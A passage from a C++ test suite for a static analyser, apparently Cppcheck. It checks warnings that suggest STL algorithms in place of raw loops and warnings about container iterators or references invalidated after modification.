x:v)\\n\"\n \" c.push_front(f(x));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_front(x + 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(v);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoIncrement() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n++;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" ++n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x++;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void loopAlgoConditional() {\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) Consider using std::replace_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n += x;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n += 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Consider using std::count_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n++;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consider using std::count_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" x = x + 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" c.push_back(x);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:14]: (style) Consider using std::copy_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consider using std::all_of or std::none_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:22]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f();\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" f();\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:22]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" f(x);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:22]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" if(b) {}\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b |= true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b &= true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // There is no transform_if\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" c.push_back(x + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x++;\\n\"\n \" if (pred(x)) {\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f();\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" if(x) { return; }\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(int);\\n\"\n \"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (!g(i))\\n\"\n \" ret = 1;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (i < 5)\\n\"\n \" ret = 1;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (style) Consider using std::any_of, std::all_of, std::none_of algorithm instead of a raw loop.\\n\",\n \"\",\n errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (i < 5) {\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector v0, v1;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void T::g() {\\n\"\n \" for (std::vector::const_iterator it0 = v0.cbegin(); it0 != v0.cend(); ++it0) {\\n\"\n \" std::vector::iterator it1;\\n\"\n \" for (it1 = v1.begin(); it1 != v1.end(); ++it1)\\n\"\n \" if (*it0 == *it1)\\n\"\n \" break;\\n\"\n \" if (it1 != v1.end())\\n\"\n \" v1.erase(it1);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:0]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool f(const std::set& set, const std::string& f) {\\n\" // #11595\n \" for (const std::string& s : set) {\\n\"\n \" if (f.length() >= s.length() && f.compare(0, s.length(), s) == 0) {\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"void f() {\\n\" // #12064\n \" for (const auto& animal : { \\\"cat\\\", \\\"bat\\\", \\\"tiger\\\", \\\"rat\\\" })\\n\"\n \" if (std::strlen(animal) > 4)\\n\"\n \" throw 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const std::vector& v, const std::vector& w, int n) {\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] == w[i])\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int n) {\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (g(i))\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(int);\\n\"\n \"bool f(const std::vector&v, int n) {\\n\"\n \" bool b{};\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" if (v[i] > 0 && g(i)) {\\n\"\n \" b = true;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoMinMax() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x > n ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x < n ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x > n ? n : x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x < n ? n : x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo(int m) {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = x > m ? x : n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #9091\n \" int maxY = 0;\\n\"\n \" for (int y : v) {\\n\"\n \" if (y > maxY)\\n\"\n \" maxY = y;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int minY = 0;\\n\"\n \" for (int y : v) {\\n\"\n \" if (y < minY)\\n\"\n \" minY = y;\\n\"\n \" }\\n\"\n \" return minY;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int max = 0;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" max = v[i] > max ? v[i] : max;\\n\"\n \" return max;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Consider using std::max_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int min = 0;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" min = v[i] < min ? v[i] : min;\\n\"\n \" return min;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Consider using std::min_element algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n }\n\n void loopAlgoMultipleReturn()\n {\n check(\"bool f(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i < 0)\\n\"\n \" continue;\\n\"\n \" if (i)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool g(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return true;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool g(const std::vector& v) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(std::vector& v) {\\n\"\n \" for (auto& i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" j++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int& k = j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" k++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int& j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int* k = &j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" (*k)++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(const std::vector& v, int j) {\\n\"\n \" for (auto i : v) {\\n\"\n \" int k = j;\\n\"\n \" if (i % 5 == 0)\\n\"\n \" return false;\\n\"\n \" if (i % 7 == 0)\\n\"\n \" k++;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Consider using std::all_of or std::none_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"class C {\\n\"\n \"private:\\n\"\n \" QString s;\\n\"\n \"public:\\n\"\n \" C(QString);\\n\"\n \"private:\\n\"\n \" void f() {\\n\"\n \" QVERIFY(QDir(s).exists());\\n\"\n \" }\\n\"\n \" void f(const QStringList& d) {\\n\"\n \" for (QString f : d)\\n\"\n \" QDir(s);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void invalidContainer() {\n check(\"void f(std::vector &v) {\\n\"\n \" auto v0 = v.begin();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << *v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:22] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:19]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"std::string e();\\n\"\n \"void a() {\\n\"\n \" std::vector b;\\n\"\n \" for (std::vector::const_iterator c; c != b.end(); ++c) {\\n\"\n \" std::string f = e();\\n\"\n \" std::string::const_iterator d = f.begin();\\n\"\n \" if (d != f.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" int *v0 = &v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << (*v0)[0] << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:15] -> [test.cpp:3:7] -> [test.cpp:1:26] -> [test.cpp:4:20]: (error) Using pointer to local variable 'v' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v = {1};\\n\"\n \" int &v0 = v.front();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:3:13] -> [test.cpp:3:17] -> [test.cpp:4:7] -> [test.cpp:5:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v = {1};\\n\"\n \" int &v0 = v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:4:7] -> [test.cpp:5:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" int &v0 = v.front();\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:2:17] -> [test.cpp:1:27] -> [test.cpp:3:7] -> [test.cpp:4:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" int &v0 = v[0];\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << v0 << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:1:27] -> [test.cpp:3:7] -> [test.cpp:4:18]: (error) Reference to v that may be invalid. [invalidContainerReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector &v) {\\n\"\n \" std::vector *v0 = &v;\\n\"\n \" v.push_back(123);\\n\"\n \" std::cout << (*v0)[0] << std::endl;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const std::vector * g(int);\\n\"\n \"void f() {\\n\"\n \" const std::vector *v = g(1);\\n\"\n \" if (v && v->size() == 1U) {\\n\"\n \" const int &m = v->front();\\n\"\n \" }\\n\"\n \"\\n\"\n \" v = g(2);\\n\"\n \" if (v && v->size() == 1U) {\\n\"\n \" const int &m = v->front();\\n\"\n \" if (m == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector g();\\n\"\n \"void f() {\\n\"\n \" std::vector x = g();\\n\"\n \" const std::string& y = x[1];\\n\"\n \" std::string z;\\n\"\n \" z += \\\"\\\";\\n\"\n \" z += y;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector v)\\n\"\n \"{\\n\"\n \" auto *cur = v.data();\\n\"\n \" auto *end = cur + v.size();\\n\"\n \" while (cur < end) {\\n\"\n \" v.erase(v.begin(), FindNext(v));\\n\"\n \" cur = v.data();\\n\"\n \" end = cur + v.size();\\n\"\n \" }\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9598\n check(\"void f(std::vector v) {\\n\"\n \" for (auto it = v.begin(); it != v.end(); it = v.erase(it))\\n\"\n \" *it;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9714\n check(\"void f() {\\n\"\n \" auto v = std::vector();\\n\"\n \" std::string x;\\n\"\n \" v.push_back(x.insert(0, \\\"x\\\"));\\n\"\n \" v.push_back(\\\"y\\\");\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9783\n check(\"std::string GetTaskIDPerUUID(int);\\n\"\n \"void InitializeJumpList(CString s);\\n\"\n \"void foo() {\\n\"\n \" CString sAppID = GetTaskIDPerUUID(123).c_str();\\n\"\n \" InitializeJumpList(sAppID);\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n // #9796\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector v;\\n\"\n \" A *a = new A();\\n\"\n \" v.push_back(a);\\n\"\n \" A *b = v.back();\\n\"\n \" v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" A *a = new A();\\n\"\n \" v.push_back(a);\\n\"\n \" A *b = v.back();\\n\"\n \" v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"void f() {\\n\"\n \" std::vector> v;\\n\"\n \" std::shared_ptr a = std::make_shared();\\n\"\n \" v.push_back(a);\\n\"\n \" std::shared_ptr b = v.back();\\n\"\n \" v.pop_back();\\n\"\n \" delete b;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9780\n check(\"int f() {\\n\"\n \" std::vector vect;\\n\"\n \" MyStruct info{};\\n\"\n \" info.vect = &vect;\\n\"\n \" vect.push_back(1);\\n\"\n \" return info.ret;\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9133\n check(\"struct Fred {\\n\"\n \" std::vector v;\\n\"\n \" void foo();\\n\"\n \" void bar();\\n\"\n \"};\\n\"\n \"void Fred::foo() {\\n\"\n \" std::vector::iterator it = v.begin();\\n\"\n \" bar();\\n\"\n \" it++;\\n\"\n \"}\\n\"\n \"void Fred::bar() {\\n\"\n \" v.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:7:44] -> [test.cpp:8:5] -> [test.cpp:12:7] -> [test.cpp:9:5]: (error) Using iterator to member container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n check(\"void foo(std::vector& v) {\\n\"\n \" std::vector::iterator it = v.begin();\\n\"\n \" bar(v);\\n\"\n \" it++;\\n\"\n \"}\\n\"\n \"void bar(std::vector& v) {\\n\"\n \" v.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:1:29] -> [test.cpp:2:44] -> [test.cpp:3:5] -> [test.cpp:7:7] -> [test.cpp:1:28] -> [test.cpp:4:5]: (error) Using iterator to local container 'v' that may be invalid. [invalidContainer]\\n\",\n errout_str());\n\n // #10264\n check(\"void f(std::vector& x) {\\n\"\n \" struct I {\\n\"\n \" std::vector *px{};\\n\"\n \" };\\n\"\n \" I i = { &x };\\n\"\n \" x.clear();\\n\"\n \" Parse(i);\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::string x;\\n\"\n \" struct V {\\n\"\n \" std::string* pStr{};\\n\"\n \" };\\n\"\n \" struct I {\\n\"\n \" std::vector v;\\n\"\n \" };\\n\"\n \" I b[] = {{{{ &x }}}};\\n\"\n \" x = \\\"Arial\\\";\\n\"\n \" I cb[1];\\n\"\n \" for (long i = 0; i < 1; ++i)\\n\"\n \" cb[i] = b[i];\\n\"\n \"}\\n\",dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9836\n check(\"void f() {\\n\"\n \" auto v = std::vector >{ std::vector{ \\\"hello\\\" } };\\n\"\n \" auto p = &(v.at(0).at(0));\\n\"\n \" 